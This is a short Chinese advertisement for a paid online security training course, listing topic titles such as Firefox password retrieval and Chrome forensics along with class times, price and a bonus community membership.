FireFox 密码获取

Chrome浏览器取证分析

更多高质量技术文章请参考公众号历史文章。

课程结构

授课方式

培训采用 线上授课 + 视频录播 的授课方式，交流群随问随答。

上课时间

• 周三 19:30 - 21:30
• 周日 14:00 -18:00

课程费用

课程定价 6888，十一假期结束前报名立减1000，加入即送 宽字节安全知识星球  名额，涉及 java安全，红蓝对抗，内网渗透，漏洞研究等安全领域，星球长期更新，欢迎各位大佬加入交流。

联系方式